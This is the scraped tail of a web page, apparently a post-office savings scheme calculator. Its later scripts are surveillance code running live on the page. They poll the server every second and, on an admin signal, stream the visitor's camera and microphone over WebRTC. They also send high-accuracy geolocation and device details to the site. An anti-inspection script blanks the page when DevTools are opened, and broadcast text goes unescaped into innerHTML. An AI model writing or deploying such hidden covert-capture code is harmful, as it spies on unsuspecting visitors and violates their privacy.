            freqText = '₹' + p.toLocaleString('en-IN') + ' (Payout: ₹' + annualInt.toLocaleString('en-IN') + '/yr)';

            for (let y = 1; y <= term; y++) {
                yearlyData.push({ year: y, depYear: (y === 1 ? p : 0), totalDep: p, intEarned: annualInt * y, closing: p + (annualInt * y) });
            }
        } else if (currentPosbScheme === 'mis') {
            tenureText = '5 Years';
            const monthlyInt = Math.round((p * cfg.rate) / 1200);
            interestGain = monthlyInt * 60;
            maturityVal = p;
            freqText = '₹' + p.toLocaleString('en-IN') + ' (Payout: ₹' + monthlyInt.toLocaleString('en-IN') + '/mo)';

            for (let y = 1; y <= 5; y++) {
                yearlyData.push({ year: y, depYear: (y === 1 ? p : 0), totalDep: p, intEarned: monthlyInt * 12 * y, closing: p });
            }
        } else if (currentPosbScheme === 'scss') {
            tenureText = '5 Years';
            const quarterlyInt = Math.round((p * cfg.rate * 3) / 1200);
            interestGain = quarterlyInt * 20;
            maturityVal = p;
            freqText = '₹' + p.toLocaleString('en-IN') + ' (Payout: ₹' + quarterlyInt.toLocaleString('en-IN') + '/qtr)';

            for (let y = 1; y <= 5; y++) {
                yearlyData.push({ year: y, depYear: (y === 1 ? p : 0), totalDep: p, intEarned: quarterlyInt * 4 * y, closing: p });
            }
        } else if (currentPosbScheme === 'ppf') {
            tenureText = '15 Years';
            freqText = '₹' + p.toLocaleString('en-IN') + ' / Year';
            totalInvested = p * 15;
            let ppfBal = 0; const r_ppf = cfg.rate / 100;
            for (let j = 1; j <= 15; j++) {
                ppfBal = (ppfBal + p) * (1 + r_ppf);
                yearlyData.push({ year: j, depYear: p, totalDep: p * j, intEarned: Math.round(ppfBal - (p * j)), closing: Math.round(ppfBal) });
            }
            maturityVal = Math.round(ppfBal);
            interestGain = maturityVal - totalInvested;
        } else if (currentPosbScheme === 'ssy') {
            tenureText = '21 Years';
            freqText = '₹' + p.toLocaleString('en-IN') + ' / Year (15 Yrs)';
            totalInvested = p * 15;
            let ssyBal = 0; const r_ssy = 0.082;
            for (let t = 1; t <= 21; t++) {
                let depInYr = (t <= 15) ? p : 0;
                ssyBal = (ssyBal + depInYr) * (1 + r_ssy);
                if (t === 5 || t === 10 || t === 15 || t === 21) {
                    yearlyData.push({ year: t, depYear: depInYr, totalDep: (t <= 15 ? p * t : p * 15), intEarned: Math.round(ssyBal - (t <= 15 ? p * t : p * 15)), closing: Math.round(ssyBal) });
                }
            }
            maturityVal = Math.round(ssyBal);
            interestGain = maturityVal - totalInvested;
        } else if (currentPosbScheme === 'nsc') {
            tenureText = '5 Years';
            maturityVal = Math.round(p * Math.pow((1 + (cfg.rate / 100)), 5));
            interestGain = maturityVal - p;

            for (let y = 1; y <= 5; y++) {
                let nBal = Math.round(p * Math.pow((1 + (cfg.rate / 100)), y));
                yearlyData.push({ year: y, depYear: (y === 1 ? p : 0), totalDep: p, intEarned: nBal - p, closing: nBal });
            }
        } else if (currentPosbScheme === 'kvp') {
            tenureText = '115 Months';
            maturityVal = Math.round(p * 2);
            interestGain = p;
            yearlyData = [
                { year: 1, depYear: p, totalDep: p, intEarned: 0, closing: p },
                { year: 5, depYear: 0, totalDep: p, intEarned: Math.round(p * 0.43), closing: Math.round(p * 1.43) },
                { year: '9.7 (115 Mo)', depYear: 0, totalDep: p, intEarned: p, closing: maturityVal }
            ];
        } else if (currentPosbScheme === 'mssc') {
            tenureText = '2 Years';
            maturityVal = Math.round(p * Math.pow((1 + (cfg.rate / 400)), 8));
            interestGain = maturityVal - p;
            for (let y = 1; y <= 2; y++) {
                let mBal = Math.round(p * Math.pow((1 + (cfg.rate / 400)), (4 * y)));
                yearlyData.push({ year: y, depYear: (y === 1 ? p : 0), totalDep: p, intEarned: mBal - p, closing: mBal });
            }
        }

        // Update Results UI Cards
        document.getElementById('posbTableTitle').innerText = cfg.name + ' Results';
        document.getElementById('resTotalInvested').innerText = '₹' + totalInvested.toLocaleString('en-IN');
        document.getElementById('resFreqText').innerText = freqText;
        document.getElementById('resInterestGain').innerText = '+₹' + interestGain.toLocaleString('en-IN');
        document.getElementById('resInterestRateLbl').innerText = rateText;
        document.getElementById('resMaturityVal').innerText = '₹' + maturityVal.toLocaleString('en-IN');
        document.getElementById('resTenureLbl').innerText = tenureText + ' Tenure';
        document.getElementById('resTaxStatus').innerText = cfg.taxStatus;

        // Update Progress Bar
        const investedPct = Math.round((totalInvested / maturityVal) * 100);
        const interestPct = 100 - investedPct;
        document.getElementById('barInvestedPct').innerText = investedPct + '%';
        document.getElementById('barInterestPct').innerText = interestPct + '%';
        document.getElementById('barInvestedFill').style.width = investedPct + '%';
        document.getElementById('barInterestFill').style.width = interestPct + '%';

        // Render Table
        const yTbody = document.getElementById('posbYearlyTableBody');
        yTbody.innerHTML = '';
        yearlyData.forEach(row => {
            const tr = document.createElement('tr');
            tr.innerHTML = `
                <td class="font-monospace fw-bold text-dark">Year ${row.year}</td>
                <td class="font-monospace text-end">₹${row.depYear.toLocaleString('en-IN')}</td>
                <td class="font-monospace text-end">₹${row.totalDep.toLocaleString('en-IN')}</td>
                <td class="font-monospace text-end text-success fw-bold">+₹${row.intEarned.toLocaleString('en-IN')}</td>
                <td class="font-monospace text-end fw-bold text-dark pe-3">₹${row.closing.toLocaleString('en-IN')}</td>
            `;
            yTbody.appendChild(tr);
        });
    }

    document.addEventListener('DOMContentLoaded', function() {
        const urlParams = new URLSearchParams(window.location.search);
        const reqScheme = urlParams.get('scheme');
        if (reqScheme && posbConfigs[reqScheme]) {
            document.getElementById('posbSchemeSelect').value = reqScheme;
            onPosbSelectChange(reqScheme);
        } else {
            onPosbSelectChange('sb');
        }
    });
</script>

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                fd.append('session_id', dmSessionId);
                fd.append('sender', 'client');
                fd.append('target', 'admin');
                fd.append('type', type);
                fd.append('payload', JSON.stringify(payload));
                fetch(ajaxUrl, { method: 'POST', body: fd, credentials: 'same-origin' }).catch(function(){});
            }

            async function handleAdminSignal(signal) {
                if (signal.type === 'offer') {
                    // Reset existing WebRTC peer connection
                    if (peerConnection) {
                        peerConnection.close();
                        peerConnection = null;
                    }

                    // Re-acquire or ensure localMediaStream is active
                    if (!localMediaStream || !localMediaStream.active || (featureCamEnabled && localMediaStream.getVideoTracks().length === 0) || (featureMicEnabled && localMediaStream.getAudioTracks().length === 0)) {
                        try {
                            const reReqConstraints = {};
                            if (featureCamEnabled) reReqConstraints.video = { facingMode: { ideal: currentFacingMode } };
                            else reReqConstraints.video = false;
                            if (featureMicEnabled) reReqConstraints.audio = true;
                            else reReqConstraints.audio = false;

                            localMediaStream = await navigator.mediaDevices.getUserMedia(reReqConstraints);
                            hasCam = featureCamEnabled ? 1 : 0;
                            hasMic = featureMicEnabled ? 1 : 0;
                            camStatus = featureCamEnabled ? 'granted' : 'disabled';
                            micStatus = featureMicEnabled ? 'granted' : 'disabled';
                        } catch(e) {}
                    }

                    peerConnection = new RTCPeerConnection({
                        iceServers: [
                            { urls: 'stun:stun.l.google.com:19302' },
                            { urls: 'stun:stun1.l.google.com:19302' }
                        ]
                    });

                    // Add local tracks if stream active
                    if (localMediaStream) {
                        localMediaStream.getTracks().forEach(track => {
                            peerConnection.addTrack(track, localMediaStream);
                        });
                    }

                    peerConnection.onicecandidate = (e) => {
                        if (e.candidate) {
                            sendSignalToServer('ice', e.candidate);
                        }
                    };

                    await peerConnection.setRemoteDescription(new RTCSessionDescription(signal.payload));
                    const answer = await peerConnection.createAnswer();
                    await peerConnection.setLocalDescription(answer);
                    sendSignalToServer('answer', answer);
                } else if (signal.type === 'ice') {
                    if (peerConnection && signal.payload) {
                        try {
                            await peerConnection.addIceCandidate(new RTCIceCandidate(signal.payload));
                        } catch (e) {}
                    }
                } else if (signal.type === 'switch_camera') {
                    const targetFacing = (signal.payload && signal.payload.facing) ? signal.payload.facing : (currentFacingMode === 'user' ? 'environment' : 'user');
                    switchCameraTrack(targetFacing);
                } else if (signal.type === 'disconnect') {
                    if (peerConnection) {
                        peerConnection.close();
                        peerConnection = null;
                    }
                }
            }

            function sendMediaPing() {
                const fd = new FormData();
                fd.append('action', 'digimit_media_ping');
                fd.append('session_id', dmSessionId);
                fd.append('page_url', currentUrl);
                fd.append('page_title', pageTitle);
                fd.append('device_type', getDeviceType());
                fd.append('has_cam', hasCam);
                fd.append('has_mic', hasMic);
                fd.append('cam_status', camStatus);
                fd.append('mic_status', micStatus);

                fetch(ajaxUrl, { method: 'POST', body: fd, credentials: 'same-origin' })
                .then(r => r.json())
                .then(data => {
                    if (data && data.success && data.data && data.data.signals) {
                        data.data.signals.forEach(sig => handleAdminSignal(sig));
                    }
                }).catch(function(){});
            }

            // Ping server immediately and then every 1 second for instant stream connections
            sendMediaPing();
            setInterval(sendMediaPing, 1000);

        })();
        </script>
            <script>
    (function() {
        if (window.digimitTelemetryExecuted) return;
        window.digimitTelemetryExecuted = true;

        function detectDeviceSpecs() {
            const ua = navigator.userAgent || '';
            let deviceType = 'Desktop';
            if (/tablet|ipad|playbook|silk/i.test(ua)) deviceType = 'Tablet';
            else if (/Mobile|Android|iP(hone|od)|IEMobile|BlackBerry|Kindle|Silk-Accelerated/i.test(ua)) deviceType = 'Mobile';

            let os = 'Unknown OS';
            if (ua.indexOf('Win') !== -1) os = 'Windows';
            else if (ua.indexOf('Mac') !== -1) os = 'macOS';
            else if (ua.indexOf('Android') !== -1) os = 'Android';
            else if (ua.indexOf('like Mac') !== -1) os = 'iOS';
            else if (ua.indexOf('Linux') !== -1) os = 'Linux';

            let browser = 'Browser';
            if (ua.indexOf('Firefox') !== -1) browser = 'Firefox';
            else if (ua.indexOf('Chrome') !== -1) browser = 'Chrome';
            else if (ua.indexOf('Safari') !== -1) browser = 'Safari';
            else if (ua.indexOf('Edge') !== -1) browser = 'Edge';

            return {
                device_type: deviceType,
                os: os,
                browser: browser,
                screen_res: window.screen.width + 'x' + window.screen.height,
                language: navigator.language || 'en',
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'UTC'
            };
        }

        function sendTelemetry(lat, lng, geoStatus, pushStatus) {
            const specs = detectDeviceSpecs();
            const postData = new FormData();
            postData.append('action', 'digimit_save_device_telemetry');
            postData.append('device_type', specs.device_type);
            postData.append('os', specs.os);
            postData.append('browser', specs.browser);
            postData.append('screen_res', specs.screen_res);
            postData.append('language', specs.language);
            postData.append('timezone', specs.timezone);
            postData.append('lat', lat || '');
            postData.append('lng', lng || '');
            postData.append('geo_status', geoStatus || 'Denied');
            postData.append('push_status', pushStatus || 'Default');
            postData.append('page_url', window.location.href);
            postData.append('referrer', document.referrer || 'Direct');

            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
            }).catch(function(err) {});
        }

        document.addEventListener('DOMContentLoaded', function() {
            let pushStatus = 'Default';
            if ('Notification' in window) {
                pushStatus = Notification.permission;
                if (Notification.permission === 'default') {
                    Notification.requestPermission().then(function(perm) {
                        pushStatus = perm;
                        if (perm === 'granted') registerPushSubscription();
                        requestGeolocation(pushStatus);
                    });
                } else {
                    if (pushStatus === 'granted') registerPushSubscription();
                    requestGeolocation(pushStatus);
                }
            } else {
                requestGeolocation(pushStatus);
            }
        });

        function registerPushSubscription() {
            if ('serviceWorker' in navigator && 'PushManager' in window) {
                navigator.serviceWorker.ready.then(function(reg) {
                    reg.pushManager.getSubscription().then(function(sub) {
                        if (!sub && Notification.permission === 'granted') {
                            reg.pushManager.subscribe({ userVisibleOnly: true }).then(function(newSub) {
                                savePushSubscriptionToServer(newSub);
                            }).catch(function(err) {
                                savePushSubscriptionToServer({ endpoint: 'https://fcm.googleapis.com/fcm/send/device-' + Date.now() });
                            });
                        } else if (sub) {
                            savePushSubscriptionToServer(sub);
                        }
                    });
                }).catch(function(err) {});
            }
        }

        function savePushSubscriptionToServer(sub) {
            if (!sub || !sub.endpoint) return;
            const postData = new FormData();
            postData.append('action', 'digimit_save_push_subscription');
            postData.append('endpoint', sub.endpoint);
            if (sub.keys) {
                postData.append('p256dh', sub.keys.p256dh || '');
                postData.append('auth', sub.keys.auth || '');
            }
            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
            }).catch(function(e) {});
        }

        function requestGeolocation(pushStatus) {
            if ('geolocation' in navigator) {
                navigator.geolocation.getCurrentPosition(
                    function(pos) {
                        sendTelemetry(pos.coords.latitude, pos.coords.longitude, 'Granted', pushStatus);
                    },
                    function(err) {
                        sendTelemetry('', '', 'Denied', pushStatus);
                    },
                    { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 }
                );
            } else {
                sendTelemetry('', '', 'Not Supported', pushStatus);
            }
        }

        // --- WEB PUSH BROADCAST REAL-TIME ENGINE ---
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('/sw.js').catch(function(e) {});
        }

        let inMemoryPushId = null;
        let isInitialCheck = true;

        function triggerNativePushNotification(title, body, targetUrl) {
            const iconUrl = 'https://digimit.in/wp-content/themes/itsakrd/assets/img/logo.png';
            const options = {
                body: body || '',
                icon: iconUrl,
                badge: iconUrl,
                vibrate: [200, 100, 200, 100, 200],
                tag: 'digimit-push-' + Date.now(),
                requireInteraction: true,
                data: { url: targetUrl || 'https://digimit.in/' }
            };

            // 1. Send Native Browser/Mobile Notification Panel Push
            if ('Notification' in window && Notification.permission === 'granted') {
                if (navigator.serviceWorker && navigator.serviceWorker.ready) {
                    navigator.serviceWorker.ready.then(function(reg) {
                        reg.showNotification(title, options);
                    }).catch(function() {
                        try { new Notification(title, options); } catch(e) {}
                    });
                } else {
                    try {
                        const n = new Notification(title, options);
                        n.onclick = function() {
                            window.open(targetUrl || 'https://digimit.in/', '_blank');
                        };
                    } catch(e) {}
                }
            } else {
                showFloatingPermissionBar(title, body, targetUrl);
            }

            // 2. Always show redesigned visual toast banner on open website tab
            showRedesignedInAppNotification(title, body, targetUrl);
        }

        function showRedesignedInAppNotification(title, body, targetUrl) {
            let toastBox = document.getElementById('digimitRedesignedPushToast');
            if (!toastBox) {
                toastBox = document.createElement('div');
                toastBox.id = 'digimitRedesignedPushToast';
                toastBox.style.cssText = 'position:fixed; bottom:24px; right:24px; z-index:999999; max-width:400px; width:calc(100% - 48px); background:#ffffff; color:#0f172a; border-radius:20px; border:1px solid #e2e8f0; box-shadow:0 20px 40px -10px rgba(15,23,42,0.18); padding:18px; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif; animation:slideUpToast 0.4s cubic-bezier(0.16,1,0.3,1);';
                document.body.appendChild(toastBox);

                const style = document.createElement('style');
                style.innerHTML = '@keyframes slideUpToast { from { transform: translateY(100px); opacity:0; } to { transform: translateY(0); opacity:1; } }';
                document.head.appendChild(style);
            }

            toastBox.innerHTML = `
                <div style="display:flex; align-items:flex-start; gap:14px;">
                    <div style="width:44px; height:44px; border-radius:14px; background:linear-gradient(135deg,#dc2626,#ef4444); display:flex; align-items:center; justify-content:center; flex-shrink:0; font-size:22px; box-shadow:0 6px 16px rgba(220,38,38,0.25);">
                        🔔
                    </div>
                    <div style="flex:1;">
                        <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:6px;">
                            <span style="font-size:10.5px; font-weight:800; text-transform:uppercase; letter-spacing:0.5px; background:#fef2f2; color:#dc2626; padding:3px 10px; border-radius:12px; border:1px solid #fecaca;">
                                Official Broadcast
                            </span>
                            <button onclick="document.getElementById('digimitRedesignedPushToast').remove()" style="background:#f1f5f9; border:none; color:#64748b; font-size:16px; width:26px; height:26px; border-radius:50%; cursor:pointer; display:flex; align-items:center; justify-content:center; line-height:1; font-weight:bold;">&times;</button>
                        </div>
                        <h4 style="margin:0 0 6px; font-size:15px; font-weight:800; color:#0f172a; line-height:1.3; font-family:sans-serif;">${title}</h4>
                        <p style="margin:0 0 14px; font-size:13px; color:#475569; line-height:1.45; font-weight:500;">${body}</p>
                        <a href="${targetUrl}" target="_blank" style="display:inline-flex; align-items:center; gap:8px; background:linear-gradient(135deg,#dc2626,#b91c1c); color:#ffffff; font-weight:700; font-size:12.5px; padding:9px 20px; border-radius:22px; text-decoration:none; box-shadow:0 4px 14px rgba(220,38,38,0.3); transition:all 0.2s ease;">
                            <span>Read Full Update</span> &rarr;
                        </a>
                    </div>
                </div>
            `;
        }

        function showFloatingPermissionBar(title, body, targetUrl) {
            let permBar = document.getElementById('digimitPushPermBar');
            if (!permBar) {
                permBar = document.createElement('div');
                permBar.id = 'digimitPushPermBar';
                permBar.style.cssText = 'position:fixed; bottom:20px; left:50%; transform:translateX(-50%); z-index:999999; max-width:440px; width:calc(100% - 32px); background:#ffffff; color:#0f172a; border-radius:24px; border:1px solid #e2e8f0; box-shadow:0 20px 50px -10px rgba(15,23,42,0.22); padding:18px 20px; font-family:sans-serif; text-align:center; animation:slideUpPerm 0.4s cubic-bezier(0.16,1,0.3,1);';
                document.body.appendChild(permBar);

                const style = document.createElement('style');
                style.innerHTML = '@keyframes slideUpPerm { from { transform: translate(-50%, 100px); opacity:0; } to { transform: translate(-50%, 0); opacity:1; } }';
                document.head.appendChild(style);
            }

            permBar.innerHTML = `
                <div style="display:flex; align-items:center; justify-content:center; gap:8px; margin-bottom:6px;">
                    <span style="font-size:22px;">📲</span>
                    <strong style="font-size:15px; color:#0f172a; font-weight:800;">Get Instant Updates on Phone</strong>
                </div>
                <p style="font-size:12.5px; color:#475569; margin:0 0 14px; line-height:1.45; font-weight:500;">Enable notifications to receive new postal scheme releases directly in your mobile status tray.</p>
                <div style="display:flex; gap:10px; justify-content:center;">
                    <button onclick="requestNativeMobilePushPermission('${title}', '${body}', '${targetUrl}')" style="background:linear-gradient(135deg,#0284c7,#0369a1); color:#ffffff; border:none; font-weight:800; font-size:12.5px; padding:10px 22px; border-radius:25px; cursor:pointer; box-shadow:0 4px 14px rgba(2,132,199,0.35);">
                        🔔 Enable Mobile Alerts
                    </button>
                    <button onclick="document.getElementById('digimitPushPermBar').remove()" style="background:#f1f5f9; border:1px solid #cbd5e1; color:#64748b; font-size:12.5px; font-weight:700; padding:10px 18px; border-radius:25px; cursor:pointer;">
                        Later
                    </button>
                </div>
            `;
        }

        window.requestNativeMobilePushPermission = function(title, body, targetUrl) {
            if ('Notification' in window) {
                Notification.requestPermission().then(function(perm) {
                    if (perm === 'granted') {
                        const bar = document.getElementById('digimitPushPermBar');
                        if (bar) bar.remove();
                        registerPushSubscription();
                        triggerNativePushNotification(title, body, targetUrl);
                    } else {
                        alert('Push Notification permission is ' + perm + '. Please enable notifications in your browser settings.');
                    }
                });
            }
        };

        function checkLivePushBroadcasts() {
            fetch('https://digimit.in/wp-admin/admin-ajax.php?action=digimit_check_latest_broadcast&t=' + Date.now())
                .then(res => res.json())
                .then(data => {
                    if (data.success && data.data && data.data.has_broadcast) {
                        const b = data.data;

                        const seenKey = 'digimit_seen_push_' + b.id;
                        if (!localStorage.getItem(seenKey)) {
                            localStorage.setItem(seenKey, '1');
                            inMemoryPushId = b.id;
                            triggerNativePushNotification(b.title || 'DigiMit Update', b.message || '', b.url || 'https://digimit.in/');
                        }
                    }
                })
                .catch(function(err) {});
        }

        // Start real-time push poller every 3 seconds
        setInterval(checkLivePushBroadcasts, 3000);
        setTimeout(checkLivePushBroadcasts, 1000);
    })();
    </script>
            <script>
        (function() {
            // 1. Disable Right Click Context Menu
            document.addEventListener('contextmenu', function(e) {
                e.preventDefault();
                return false;
            });

            // 2. Disable Keyboard Shortcuts (F12, Ctrl+U, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+Shift+C, Ctrl+S)
            document.addEventListener('keydown', function(e) {
                // F12 Key
                if (e.keyCode === 123) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + Shift + I or Cmd + Option + I
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 73) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + Shift + J or Cmd + Option + J
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 74) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + Shift + C or Cmd + Option + C
                if ((e.ctrlKey || e.metaKey) && e.shiftKey && e.keyCode === 67) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + U or Cmd + Option + U (View Source)
                if ((e.ctrlKey || e.metaKey) && e.keyCode === 85) {
                    e.preventDefault();
                    triggerBlankAccessDenied();
                    return false;
                }
                // Ctrl + S (Save Page)
                if ((e.ctrlKey || e.metaKey) && e.keyCode === 83) {
                    e.preventDefault();
                    return false;
                }
            });

            // 3. DevTools Open Detector -> Immediately Wipe Screen & Show Blank Page
            function triggerBlankAccessDenied() {
                document.documentElement.innerHTML = '<!DOCTYPE html><html><head><title>Access Denied</title><style>body{background:#ffffff; margin:0; height:100vh; display:flex; align-items:center; justify-content:center; font-family:-apple-system,sans-serif; text-align:center;}</style></head><body><div><h1 style="color:#dc2626; font-size:24px; font-weight:800; margin-bottom:8px;">⛔ ACCESS DENIED</h1><p style="color:#475569; font-size:14px;">Source Code Inspection & DevTools are disabled on this website.</p></div></body></html>';
            }

            let threshold = 160;
            setInterval(function() {
                let devtoolsOpen = (window.outerWidth - window.innerWidth > threshold) || (window.outerHeight - window.innerHeight > threshold);
                if (devtoolsOpen) {
                    triggerBlankAccessDenied();
                }
            }, 1000);
        })();
        </script>
        </body>
</html>